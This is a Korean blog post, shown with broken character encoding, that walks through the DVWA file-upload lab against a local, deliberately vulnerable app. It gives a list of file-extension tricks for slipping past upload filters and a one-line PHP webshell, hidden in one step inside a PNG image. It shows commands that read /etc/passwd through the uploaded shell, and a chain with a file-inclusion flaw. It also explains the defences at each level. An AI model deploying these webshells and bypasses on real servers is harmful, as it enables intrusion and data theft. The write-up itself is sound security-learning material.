Archive for Dev. (junyup2)

지식을 μ±„μ›Œκ°€λŠ” γ€Žκ°œλ°œμž/ν™”μ΄νŠΈν•΄μ»€γ€λ₯Ό λͺ©ν‘œλ‘œ μ •λ¦¬ν•˜λŠ” λΈ”λ‘œκ·Έ

Practice/DVWA

[DVWA] File Upload

Gearvirus(junyup2) 2024. 4. 9. 19:56

Vulnerability: File Upload

파일 μ—…λ‘œλ“œ(File Upload) 취약점은 κ³΅κ²©μžκ°€ Server Side Script μ½”λ“œκ°€ ν¬ν•¨λœ νŒŒμΌμ„ μ˜¬λ €μ„œ μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜λŠ” 곡격이닀.

ν†΅μƒμ μœΌλ‘œ μ›Ήμ‰˜(webshell)을 μ΄μš©ν•˜κΈ° λ•Œλ¬Έμ— μ›Ήμ‰˜ 곡격이라고 μƒκ°ν•˜λ©΄λœλ‹€.

일반적으둜 μ›Ήμ‰˜ μ—…λ‘œλ“œ 취약점은 λ‹€μŒκ³Ό 같은 ν™•μž₯자λ₯Ό κ°€μ§€λŠ” 파일이 μ—…λ‘œλ“œ κ°€λŠ₯ν•œ κ²½μš°μ— λ°œμƒν•˜κ²Œ λœλ‹€.

(Blacklisting Bypass)
PHP β†’ .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
ASP β†’ .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp β†’ .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion β†’ .cfm, .cfml, .cfc, .dbm
Perl β†’ .pl, .cgi
Using random capitalization β†’ .pHp, .pHP5, .PhAr
(Whitelisting Bypass)
file.png.php file.png.Php5 file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php.\ file. file.php.... file.pHp5.... file.png.php file.png.pHp5 file.php#.png file.php%00.png file.php\x00.png file.php%0a.png file.php%0d%0a.png file.phpJunk123png file.png.jpg.php file.php%00.png%00.jpg

 

DVWA File Upload μ‹€μŠ΅

μ‹€μŠ΅ ν™˜κ²½
- Windows Dockerλ₯Ό μ΄μš©ν•œ DVWA
- Windows ν™˜κ²½μ˜ Burp Suite

DVWA μ‹€μŠ΅ 문제의 경우 PHP 기반의 μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄λ‹€. PHP μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆλŠ” 파일이 μ—…λ‘œλ“œ κ°€λŠ₯ν•œμ§€ μ κ²€ν•œλ‹€.

 

Security Level: Low

Low 레벨의 경우, μ—…λ‘œλ“œ νŒŒμΌμ— λŒ€ν•œ 검사가 μ—†κΈ° λ•Œλ¬Έμ— php ν™•μž₯μžμ— λŒ€ν•œ μ—…λ‘œλ“œκ°€ κ°€λŠ₯ν•˜λ‹€.

μ•„λž˜μ™€ 같이 ν•œμ€„ μ›Ήμ‰˜<?php system($_GET['cmd']) ?>이 ν¬ν•¨λœ μ½”λ“œλ₯Ό μ‚½μž…ν•΄ 쀄 수 μžˆλ‹€.

<pre>
<?php system($_GET['cmd']) ?>
</pre>

μœ„μ™€ 같이 μ‚½μž…ν•˜κ³  λ‚˜λ©΄ μ—…λ‘œλ“œκ°€ λ˜μ—ˆλ‹€λŠ” λ©”μ‹œμ§€μ™€ ν•¨κ»˜ 파일의 μ—…λ‘œλ“œ μœ„μΉ˜λ₯Ό μ•Œλ €μ€€λ‹€.

../../hackable/uploads/cmd.php

μœ„μ™€ 같은 κ²½λ‘œμ— 파일이 μœ„μΉ˜ν•˜λŠ” 것을 μ•Œ 수 μžˆλŠ”λ°, 이것은 ν˜„μž¬ μœ„μΉ˜μ—μ„œ μƒκ°ν•˜λ©΄ λ‘λ²ˆμ˜ μƒμœ„ λ””λ ‰ν„°λ¦¬μ—μ„œ upload 디렉터리에 ν•΄λ‹Ή 파일이 μ‘΄μž¬ν•œλ‹€λŠ” 것을 μ˜λ―Έν•œλ‹€. 이λ₯Ό URLμ£Όμ†Œλ‘œ 바꿔보면 λ‹€μŒκ³Ό κ°™λ‹€.

http://localhost/hackable/uploads/cmd.php

μœ„μ˜ μ£Όμ†Œλ₯Ό μž…λ ₯ν•΄μ£Όκ³  ?λ₯Ό λΆ™μ—¬μ„œ 뒀에 cmd νŒŒλΌλ―Έν„°μ— μ›ν•˜λŠ” λͺ…λ Ήμ–΄λ₯Ό μ‚½μž…ν•΄μ€€λ‹€.

cmd=cat ../../../../../../etc/passwd

μœ„μ™€ 같은 λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•΄μ£Όλ©΄ λ‹€μŒκ³Ό 같은 κ²°κ³Όκ°€ λ‚˜μ˜¨λ‹€.

μ›Ήμ‰˜μ΄ μ •μƒμ μœΌλ‘œ μ—…λ‘œλ“œ λ˜μ—ˆκ³ , μ‹€ν–‰λ˜μ–΄ λ‚΄λΆ€ 정보λ₯Ό 확인할 수 μžˆλ‹€λŠ” 것이 ν™•μΈλ˜μ—ˆλ‹€.


Security Level: Medium

Medium 레벨의 경우, μ—…λ‘œλ“œν•  파일의 MIME-Type을 μ κ²€ν•˜κ³  μžˆλ‹€. MIME ν˜•μ‹μ΄ image/jpeg와 image/png인 κ²½μš°μ—λ§Œ 파일의 μ—…λ‘œλ“œλ₯Ό ν—ˆμš©ν•œλ‹€. jpeg, png ν™•μž₯자 λ§Œμ„ μ—…λ‘œλ“œ κ°€λŠ₯ν•˜λ„λ‘ ν•˜κ³  μžˆλŠ” 것이닀.

MIME-Type은 μ›Ή λΈŒλΌμš°μ €κ°€ ν™•μž₯자λ₯Ό 기반으둜 MIME을 κ²°μ •ν•΄μ„œ μ „λ‹¬ν•˜κ²Œ λœλ‹€.

μ›Ή λΈŒλΌμš°μ €λŠ” ν™•μž₯자λ₯Ό 기반으둜 MIME을 κ²°μ •ν•˜κΈ° λ•Œλ¬Έμ— cmd.php 파일의 ν™•μž₯자λ₯Ό λ‹€λ₯Έ ν™•μž₯자둜 λ³€κ²½ν•˜μ—¬ μ—…λ‘œλ“œν•˜λŠ” κ³Όμ •μ—μ„œ μ›Ή ν”„λ‘μ‹œ(Burp Suite)λ₯Ό μ΄μš©ν•˜μ—¬ ν™•μž₯자λ₯Ό λ³€μ‘°ν•˜μ—¬ MIME-Type을 μ†μ΄κ±°λ‚˜, cmd.php νŒŒμΌμ„ μ—…λ‘œλ“œ ν•˜λŠ” κ³Όμ •μ—μ„œ MIME-Type을 ν—ˆμš©ν•˜λŠ” ν˜•μ‹μœΌλ‘œ λ³€μ‘°ν•˜λŠ” λ°©μ‹μœΌλ‘œ μš°νšŒκ°€ κ°€λŠ₯ν•˜λ‹€.

μœ„μ™€ 같이 Content-Type을 λ³€μ‘°ν•˜μ—¬ μš°νšŒκ°€ κ°€λŠ₯ν•˜λ‹€.

μ—…λ‘œλ“œ ν•˜κ³  λ‚˜λ©΄ Low 레벨과 같이 μ—…λ‘œλ“œ 파일의 κ²½λ‘œκ°€ λ‚˜μ˜€κΈ° λ•Œλ¬Έμ— 이λ₯Ό κ·ΈλŒ€λ‘œ URL에 μž…λ ₯ν•˜κ³  cmd λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•΄μ£Όλ©΄ λœλ‹€.

http://localhost/hackable/uploads/cmd.php?cmd=cat%20../../../../../../etc/passwd


Security Level: High

High 레벨의 경우, 파일의 ν™•μž₯μžμ— λŒ€ν•˜μ—¬ λŒ€μ†Œλ¬Έμž ꡬ뢄없이 jpg, jpeg, png 인 κ²½μš°μ—λ§Œ 파일 μ—…λ‘œλ“œλ₯Ό ν—ˆμš©ν•œλ‹€. λ˜ν•œ getimagesize() ν•¨μˆ˜κ°€ FALSEκ°€ μ•„λ‹ˆμ–΄μ•Ό ν•˜λŠ”λ°, μ‹€μ œ 이미지 파일이 μ•„λ‹Œ κ²½μš°μ—λŠ” getimagesize의 return 값이 FASLE이닀.

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {

cmd.php νŒŒμΌμ„ cmd.png둜 ν™•μž₯자만 λ³€κ²½ν•œ 경우, ν™•μž₯μžλŠ” pngμ΄μ§€λ§Œ λ‚΄μš©μ΄ ν‰λ¬ΈνŒŒμΌμ΄κΈ° λ•Œλ¬Έμ— μ‹€μ œ 이미지가 μ•„λ‹ˆλ―€λ‘œ getimagesize()의 λ°˜ν™˜κ°’μ΄ FALSE이기 λ•Œλ¬Έμ— λ‹€μŒκ³Ό 같이 κ±°λΆ€λœλ‹€.

μœ„μ˜ ν†±λ‹ˆ κ·Έλ¦Ό 내뢀에 μ›Ήμ‰˜μ„ μ‚½μž…ν•˜μ—¬ μ‹œκ·Έλ‹ˆμ²˜λ₯Ό κ·ΈλŒ€λ‘œ μ΄μš©ν•˜μ—¬ 이미지 파일둜 μ·¨κΈ‰λ˜μ–΄ μ •μƒμ μœΌλ‘œ μ—…λ‘œλ“œ λ˜λŠ” 것을 확인할 수 μžˆμ—ˆλ‹€. (이미지 파일의 끝에 ν‰λ¬ΈμœΌλ‘œ PHP μ½”λ“œλ₯Ό 덧 뢙여도 정상적인 μ΄λ―Έμ§€λ‘œ μΈμ‹ν•œλ‹€.)

μœ„μ™€ 같이 Hex Editor, HxDλ₯Ό μ΄μš©ν•˜μ—¬ μ΄λ―Έμ§€μ˜ λ§ˆμ§€λ§‰μ— μ›Ήμ‰˜μ„ μ‚½μž…ν•œλ‹€.

<pre>
<?php system($_GET['cmd']) ?>
</pre>

ν•΄λ‹Ή 이미지λ₯Ό μ—…λ‘œλ“œν•΄λ³΄λ©΄ λ‹€μŒκ³Ό κ°™λ‹€.

μœ„μ™€ 같이 μ •μƒμ μœΌλ‘œ μ—…λ‘œλ“œλ˜λŠ” 것을 확인할 수 μžˆλ‹€.

ν•˜μ§€λ§Œ μœ„μ™€ 같이 이미지 파일둜만 μΈμ‹λ˜μ–΄ μ‹€ν–‰λ˜μ§€ μ•ŠλŠ”λ‹€.

ν•΄λ‹Ή νŒŒμΌμ€ png ν™•μž₯자λ₯Ό 가지고 있고 λ‚΄μš©λ„ 정상적인 이미지이기 λ•Œλ¬Έμ— μ›Ή λΈŒλΌμš°μ €λ‘œ 열어도 μ΄λ―Έμ§€λ§Œ 좜λ ₯되고 λ‚΄λΆ€μ˜ PHP μ½”λ“œλŠ” μ‹€ν–‰λ˜μ§€ μ•ŠλŠ”λ‹€. μ‹€μ§ˆμ μœΌλ‘œ 파일 μ—…λ‘œλ“œ 취약점이 μ˜¨μ „ν•˜κ²Œ λ°©μ–΄λœ 것이닀.

μ›Ή 취약점 λΆ„μ„μ—μ„œ Vulnerability: File Upload high level은 취약점이 μ—†λ‹€κ³  결둠을 내릴 수 μžˆλ‹€. ν•˜μ§€λ§Œ μ—¬κΈ°μ„œ μ—…λ‘œλ“œν•œ 이미지 μ›Ή μ‰˜μ„ μ‹€ν–‰ν•  수 μžˆλŠ” 방법이 ν•œκ°€μ§€ μžˆλ‹€. λ°”λ‘œ LFI 취약점을 μ΄μš©ν•˜λŠ” 것이닀. 이 κ²½μš°μ—λŠ” LFI μ·¨μ•½μ μ΄λ―€λ‘œ Vulnerability: File Upload high level에 ν•΄λ‹Ήν•˜λŠ” 파일 μ—…λ‘œλ“œ 취약점이라고 λ³Ό μˆ˜λŠ” μ—†λ‹€.

 

LFI 취약점 - νŒŒμΌμ—…λ‘œλ“œ

이미지 μ›Ή μ‰˜, 즉 이미지에 μ‚½μž…λœ μ›Ή μ‰˜μ€ 일반적인 λ°©λ²•μœΌλ‘œλŠ” 싀행이 λΆˆκ°€λŠ₯ν•˜λ‹€. ν•˜μ§€λ§Œ ν•΄λ‹Ή 웹에 LFI 취약점이 μžˆλ‹€λ©΄ Includeλ₯Ό μ΄μš©ν•˜μ—¬ ν•΄λ‹Ή μ΄λ―Έμ§€μ˜ λ‚΄μš©μ„ κ°€μ Έμ™€μ„œ μ›Ήμ‰˜λ‘œμ„œ 이용이 κ°€λŠ₯ν•˜λ‹€.

마침 Vulnerability: File Upload high levelμ—μ„œ μ—…λ‘œλ“œν•œ 이미지 μ›Ήμ‰˜μ˜ 경우, Vulnerability: File Inclusion high level에 취약점이 μ‘΄μž¬ν•˜λ―€λ‘œ 이λ₯Ό μ΄μš©ν•΄λ³Έλ‹€.

κ·Έ κ²°κ³Ό ν•΄λ‹Ή 이미지λ₯Ό λΆˆλŸ¬μ™€μ„œ νŒŒλΌλ―Έν„° 값을 λ„£μ–΄μ€€ κ²°κ³Ό μœ„μ™€ 같이 μ›Ήμ‰˜λ‘œμ„œ 이용이 κ°€λŠ₯ν•œ 것을 확인할 수 μžˆλ‹€.

http://localhost/vulnerabilities/fi/?page=file:///../../../../../../var/www/html/hackable/uploads/cmd.png&cmd=cat%20/../../../../../../etc/passwd

μ—¬κΈ°μ„œ λ‹€μ‹œκΈˆ LFI 취약점 μžμ²΄λŠ” 맀우 λ“œλ¬Όκ²Œ λ‚˜νƒ€λ‚˜λŠ” μ·¨μ•½μ μ΄μ§€λ§Œ, μ–΄λ–€ ν˜•νƒœλ‘œλ“  νŒŒμΌμ„ μ—…λ‘œλ“œν•˜λŠ” κΈ°λŠ₯이 있으면 'ν™•μž₯자λ₯Ό λΆˆλ¬Έν•˜λŠ” μ›Ήμ‰˜' 을 λ§Œλ“€ 수 μžˆλŠ” μ·¨μ•½μ μ΄λ―€λ‘œ 맀우 μœ„ν—˜ν•˜λ‹€λŠ” 것을 μ•Œ 수 μžˆλ‹€.


Security Level: Impossible

Impossible 레벨의 경우, μ—…λ‘œλ“œν•œ 원본 μ΄λ―Έμ§€λ‘œλΆ€ν„° MIME ν˜•μ‹μ— 따라 PHP의 imagecreatefromjpeg() ν•¨μˆ˜λ‚˜ imagecreatefrompng() ν•¨μˆ˜λ₯Ό μ΄μš©ν•˜μ—¬ μƒˆλ‘œμš΄ 이미지λ₯Ό λ§Œλ“€κ³  μžˆλ‹€.

if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
} else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}

이 두 ν•¨μˆ˜μ˜ 경우, μ΄λ―Έμ§€λ§Œμ„ μ²˜λ¦¬ν•˜κΈ° λ•Œλ¬Έμ— 이미지 데이터가 μ•„λ‹Œ 뢀뢄은 λͺ¨λ‘ 버린닀. κ·Έ λ•Œλ¬Έμ— Exif 데이터도 μ§€μ›Œμ§€λŠ” νš¨κ³Όκ°€ λ°œμƒν•œλ‹€. μƒˆλ‘œ μƒμ„±ν•œ μ΄λ―Έμ§€μ—λŠ” λ³„λ„μ˜ Exif 정보가 μ‚½μž…λ˜κ³ , 원본 μ΄λ―Έμ§€λŠ” μ„œλ²„μ— μ €μž₯ν•˜μ§€ μ•Šκ³  λ²„λ¦¬λŠ” 것을 λ³Ό 수 μžˆλ‹€.

Exif(Exchangeable image file format, κ΅ν™˜ 이미지 파일 ν˜•μ‹)λŠ” 주둜 디지털 μΉ΄λ©”λΌμ—μ„œ μ‚¬μ§„μ΄λ‚˜ μŒμ„± 파일 속에 파일의 정보와 κ΄€λ ¨ μŒμ„±μ„ μ €μž₯ν•˜κΈ° μœ„ν•΄μ„œ μ‚¬μš©ν•˜λŠ” 메타데이터 기둝 ν‘œμ€€μ΄λ‹€. 촬영 μ‹œκ°„, 촬영 μœ„μΉ˜, 초점거리, 사진 크기, μ…”ν„° 속도, 카메라 κΈ°μ’…, 카메라 μ œμ‘°μ‚¬ λ“± 맀우 λ‹€μ–‘ν•œ 정보λ₯Ό 기둝할 수 μžˆλ‹€. 이미지 파일의 내뢀에 μ €μž₯λ˜λŠ” 것이 큰 μž₯점으둜 λ³„λ„μ˜ 관리λ₯Ό ν•„μš”λ‘œ ν•˜μ§€ μ•ŠλŠ”λ‹€.

이것을 μ‚΄νŽ΄λ³΄μžλ©΄ λ‹€μŒκ³Ό κ°™λ‹€.

μ‹€μ œλ‘œ μ—…λ‘œλ“œ ν•΄λ³Έ ν›„ 차이λ₯Ό 확인해본 결과이닀.

μš°μ„  아무것도 λ°”λ€Œμ§€ μ•ŠλŠ” High 레벨의 μ—…λ‘œλ“œν•  파일과 μ—…λ‘œλ“œ ν›„ νŒŒμΌμ„ λ‹€μš΄λ‘œλ“œ λ°›μ•„ exiftool을 μ΄μš©ν•˜μ—¬ 비ꡐ해본 결과이닀.

μ—…λ‘œλ“œ 파일 / λ‹€μš΄λ‘œλ“œ 파일

μœ„μ˜ 두 νŒŒμΌμ— λŒ€ν•˜μ—¬ μ‚΄νŽ΄λ³΄λ©΄ 변경점이 μ—†λŠ” 것을 확인할 수 μžˆλ‹€. ν•˜μ§€λ§Œ Impossible 레벨의 경우 λ‹€μŒκ³Ό 같이 λ‹€λ₯Έ κ²°κ³Όλ₯Ό 확인할 수 μžˆλ‹€.

μ—…λ‘œλ“œ ν•˜λ©΄ μœ„μ™€ 같이 μ €μž₯ μœ„μΉ˜μ™€ 이름을 μ•Œ 수 없도둝 μ—…λ‘œλ“œ λ˜λŠ”λ°, μ—…λ‘œλ“œν•œ 파일과 μ—…λ‘œλ“œ ν›„ λ‹€μš΄λ‘œλ“œ 받은 νŒŒμΌμ„ 확인해보면 λ‹€μŒκ³Ό κ°™λ‹€.

μ—…λ‘œλ“œ ν•œ 파일
μ—…λ‘œλ“œ ν›„ λ‹€μš΄λ°›μ€ 파일

μœ„μ˜ 두 값을 확인해보면 μ΄λ―Έμ§€μ˜ 정보가 λ°”λ€Œμ–΄ μžˆλŠ” 것을 확인해볼 수 μžˆλ‹€. λ˜ν•œ λ‹€μŒκ³Ό 같이 이미지 μ›Ή μ‰˜λ‘œμ„œ 이미지 끝에 μ‚½μž…ν•œ 평문 PHP μ›Ήμ‰˜ ꡬ문에 λŒ€ν•˜μ—¬ ν•΄λ‹Ή 뢀뢄이 μ§€μ›Œμ§„ 것을 확인할 수 μžˆλ‹€.

μ—…λ‘œλ“œν•œ 파일
μ—…λ‘œλ“œ ν›„ λ‹€μš΄λ°›μ€ 파일

μœ„μ™€ 같이 이미지가 μž¬μƒμ„±λ˜λ©΄μ„œ, μ‚½μž…λœ PHP μ›Ήμ‰˜μ„ μ‚­μ œν•΄λ²„λ¦° 것을 확인할 수 μžˆλ‹€.


λ³΄μ•ˆ vs κ°€μš©μ„±

이것은 μ‹€μ§ˆμ μœΌλ‘œ μ™„λ²½ν•˜λ‹€ λͺ»ν•΄ κ³Όν•˜λ‹€κ³ λ„ λ³Ό 수 μžˆλŠ” λ³΄μ•ˆμ΄λΌκ³  ν•  수 μžˆλ‹€.

이미지 μ—…λ‘œλ“œ κΈ°λŠ₯에 μžˆμ–΄μ„œ ν˜„μ‹€μ μœΌλ‘œ High 레벨의 방어법이 κ°€μž₯ 높은 μˆ˜μ€€μ΄λΌκ³  보아도 λ¬΄λ°©ν•˜λ‹€. (λ¬Όλ‘  원본 νŒŒμΌμ΄λ¦„μ„ λ³€κ²½ν•˜μ§€ μ•Šκ³  μ €μž₯ν•˜κ³ , μ €μž₯ 경둜λ₯Ό κ·ΈλŒ€λ‘œ λ³΄μ—¬μ£ΌλŠ” 것은 μˆ˜μ •ν•΄μ•Όν•  λΆ€λΆ„μ΄κΈ°λŠ” ν•˜μ§€λ§Œ, LFI 취약점이 μ—†λ‹€λ©΄ ν•΄λ‹Ή νŒŒμΌμ€ μ‹€ν–‰ν•  수 μ—†κΈ° λ•Œλ¬Έμ— 높은 μˆ˜μ€€μ΄λΌκ³  λ³Έλ‹€.)

그런데 Impossible 레벨의 κ²½μš°μ—λŠ” Exif(Exchangeable image file format) μ •λ³΄κΉŒμ§€ λͺ¨λ‘ μ§€μš°κ³  μžˆλŠ”λ°, 일반적으둜 μ‚¬μ§„μ—λŠ” λ‹€μ†Œ μ€‘μš”ν•œ 정보듀이 Exif 데이터에 담겨져 μžˆμ–΄μ„œ 이λ₯Ό μ‚­μ œν•˜λŠ” 것은 μ„œλΉ„μŠ€μ— 지μž₯을 쀄 κ°€λŠ₯성이 μžˆλ‹€λŠ” 것이닀.

이것은 λ³΄μ•ˆκ³Ό κ°€μš©μ„±μ΄ μƒμΆ©ν•˜λŠ” 것이라고 λ³Ό 수 μžˆλŠ”λ°, λ³΄μ•ˆμ΄ κ°€μš©μ„±μ„ μ΄κ²¨μ„œλŠ” μ•ˆλœλ‹€.

 

μ—…λ‘œλ“œν•œ 파일과 μ—…λ‘œλ“œ ν›„ λ‹€μš΄λ‘œλ“œ 받은 νŒŒμΌμ„ μ΄λ―Έμ§€μ μœΌλ‘œλ§Œ 보면 두 파일이 λ™μΌν•œ 이미지인 κ²ƒμ²˜λŸΌ 보인닀. ν•˜μ§€λ§Œ μ‹€μ œλ‘œλŠ” μ „ν˜€ λ‹€λ₯Έ νŒŒμΌμ΄λΌλŠ” 것이닀. 이런 λ°©μ‹μœΌλ‘œ 이미지 νŒŒμΌμ„ μž¬μž‘μ„±ν•˜μ—¬ μ„œλ²„μ— μ €μž₯ν•˜λ©΄ μ›Ήμ‰˜ μ—…λ‘œλ“œλ‚˜ LFI 취약점에 μ•…μš©λ˜λŠ” 것은 μ™„μ „ν•˜κ²Œ λ°©μ–΄ν•  수 μžˆμ„ 것이닀.

κ·ΈλŸ¬λ‚˜ μ‹€μ œ μ„œλΉ„μŠ€μ—μ„œλŠ” μ΄λŸ¬ν•œ 방식을 μ·¨ν•˜λŠ” 것은 μ–΄λ €μšΈ 수 μžˆλ‹€.

1. μ‚¬μš©μžκ°€ μ—…λ‘œλ“œν•˜λŠ” 이미지λ₯Ό μ‘°μž‘ν•˜λŠ” 것에 λŒ€ν•œ μ €μž‘κΆŒ λ¬Έμ œκ°€ λ°œμƒν•  수 μžˆλ‹€.
(μ΄λ―Έμ§€μ˜ 정보가 λ‹΄κ²¨μžˆλŠ” 뢀뢄을 λ³€κ²½ν•˜κΈ° λ•Œλ¬Έμ— μ €μž‘κΆŒ 문제λ₯Ό κ³ λ €ν•΄μ•Ό ν•œλ‹€.)
2. 이미지λ₯Ό μž¬μ²˜λ¦¬ν•˜λŠ” μž‘μ—…μ€ μ„œλ²„μ— 뢀담을 쀄 κ°€λŠ₯성이 λ†’λ‹€.
3. 졜근의 μ΄λ―Έμ§€λŠ” 주둜 μ‚¬μ§„μœΌλ‘œ, λ‚΄λΆ€μ—λŠ” μœ„μΉ˜μ •λ³΄μ™€ 같은 λ‹€μ–‘ν•œ 정보가 μ œκ³΅λœλ‹€.
(이것이 μ €μž₯λ˜μ–΄ μžˆλŠ” Exifλ₯Ό μ œκ±°ν•˜λŠ” 경우 μ΄λŸ¬ν•œ 정보λ₯Ό λͺ¨λ‘ μžƒκ²Œλ˜λŠ” κ²°κ³Όλ₯Ό μ΄ˆλž˜ν•  수 μžˆλ‹€.)

μœ„μ™€ 같은 μ΄μœ μ—μ„œ μ‹€μ œ μ„œλΉ„μŠ€μ—μ„œλŠ” Vulnerability: File Upload high level의 검증 방식이 κ°€μž₯ μ•ˆμ „ν•˜κ²Œ μ‚¬μš©ν•  수 μžˆλŠ” μ›Ήμ‰˜μ—…λ‘œλ“œ 방어법이라고 ν•  수 μžˆλ‹€. (λ¬Όλ‘  μœ„μ—μ„œ λ§ν–ˆλ“―μ΄ 파일λͺ…을 κ·ΈλŒ€λ‘œ μ €μž₯ν•˜λŠ” 것은 μˆ˜μ •ν•΄μ•Όν•  ν•„μš”κ°€ μžˆμ§€λ§Œ 말이닀.)

 


질문 ν™˜μ˜, μˆ˜μ • 및 보완에 λŒ€ν•œ μ§€μ  ν™˜μ˜